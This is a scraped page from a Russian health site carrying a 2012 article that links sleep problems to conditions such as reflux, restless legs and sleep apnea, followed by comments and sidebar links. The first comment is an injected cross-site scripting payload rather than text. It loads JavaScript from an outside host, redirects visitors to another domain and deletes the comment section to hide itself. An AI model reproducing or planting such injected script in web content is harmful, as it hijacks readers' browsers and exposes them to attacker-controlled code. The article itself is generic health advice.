Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Что ваш сон говорит о ваш...  >>  Что ваш сон говорит о вашем здоровье
 
Обратная связь
 

Что ваш сон говорит о вашем здоровье

Размер шрифта
17 декабря 2012 00:00
Юрий Малышев
Здоровье инфо
Анна Белевская
Здоровье инфо
  • google_analytics: false
  • Нравится

Нарушения сна могут быть обусловлены самыми разными причинами. Узнайте, в чем ваша проблема и как с ней справиться.

что ваш сон говорит о вашем здоровье

Гастро-эзофагальная рефлюксная болезнь

Плохой сон и неприятный привкус во рту могут указывать на гастроэзофагеальную рефлюксную болезнь, при которой происходит заброс кислого содержимого желудка в пищевод.

Что делать: Принимайте пищу не менее чем за три часа до сна и откажитесь от продуктов, которые усиливают секрецию желудочного сока: алкоголь, шоколад, помидоры, цитрусовые, жирная и острая пища.

Нарушение мочеиспускания

У 65% людей старшего возраста нарушения сна связаны с учащенным ночным мочеиспусканием. У мужчин оно может указывать на заболевания простаты; у женщин – на гиперактивный мочевой пузырь, инфекции мочевыводящих путей, в основном, цистит.

Что делать: Исключите прием жидкости за три часа до сна, уменьшите количество потребляемого кофе, чая и алкоголя. Полностью опорожняйте мочевой пузырь перед сном.

Бруксизм (скрежетание зубами)

В связи с тем, что бруксизм требует напряжения жевательных мышц, во время сна не происходит расслабления тела. Поэтому с утра появляется чувство разбитости.

Что делать: Откажитесь от курения и приема алкоголя. Обратитесь к врачу: для лечения заболевания используются специальные каппы, а также уколы ботулотоксина в жевательные мышцы.

Синдром беспокойных ног

Данное нарушение подергиванием ног во время сна, а также неприятными ощущениями глубоко в мышцах. Такие ощущения сопровождаются желанием двигать ногами, что приносит некоторое облегчение, но нарушает сон.

Что делать: Данное состояние может быть связано с дефицитом железа, а также витаминов группы B. Поэтому необходимо включить в рацион мясо и шпинат и отказаться от продуктов, содержащих кофеин.

Обструктивное апноэ сна

Данное заболевание характеризуется остановками дыхания во сне продолжительностью 10 секунд и более. Обструктивное апноэ сна опасно тем, что может привести к развитию инсульта и инфаркта миокарда, а также нарушениям ритма сердца.

Что делать: Обратитесь к врачу, который поставит точный диагноз и назначит соответствующее лечение.

Нарушение суточных ритмов

Работа по ночам при искусственном освещении или за монитором компьютера способствует нарушению нормальных суточных ритмов.

Что делать: за час до сна рекомендуется отключить любые электронные устройства с ярким экраном. А вот чтение перед сном допустимо: просто следите за яркостью света.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:27

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

2 - manzora

17 февраля 2016 в 14:45

Цитировать   |   Пожаловаться

У меня муж любит перебирать ногами когда засыпает, а я при этом не могу заснуть.

Статьи

       
Хотите не чувствовать боли – спите дольше   Недосыпание приводит к агрессивному раку молочной железы   Чем меньше спишь, тем быстрее теряешь рассудок   Что с моим сном?  
04 октября 2012Чем меньше спишь, тем быстрее теряешь рассудок 26 сентября 2012Недосыпание приводит к агрессивному раку молочной железы!
 
30 января 2013Хотите не чувствовать боли – спите дольше 04 января 2013Сбылась мечта студента: уснул, а утром уже все знаешь
 

Слайдшоу

1
Что случилось с моим сном?
Как наконец-то уснуть и выспаться
Лучшая и худшая еда для сна

Тесты

1
Нормальный ли у вас сон?
Хорошо ли Вы спите?
Будет ли у вас инфаркт?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.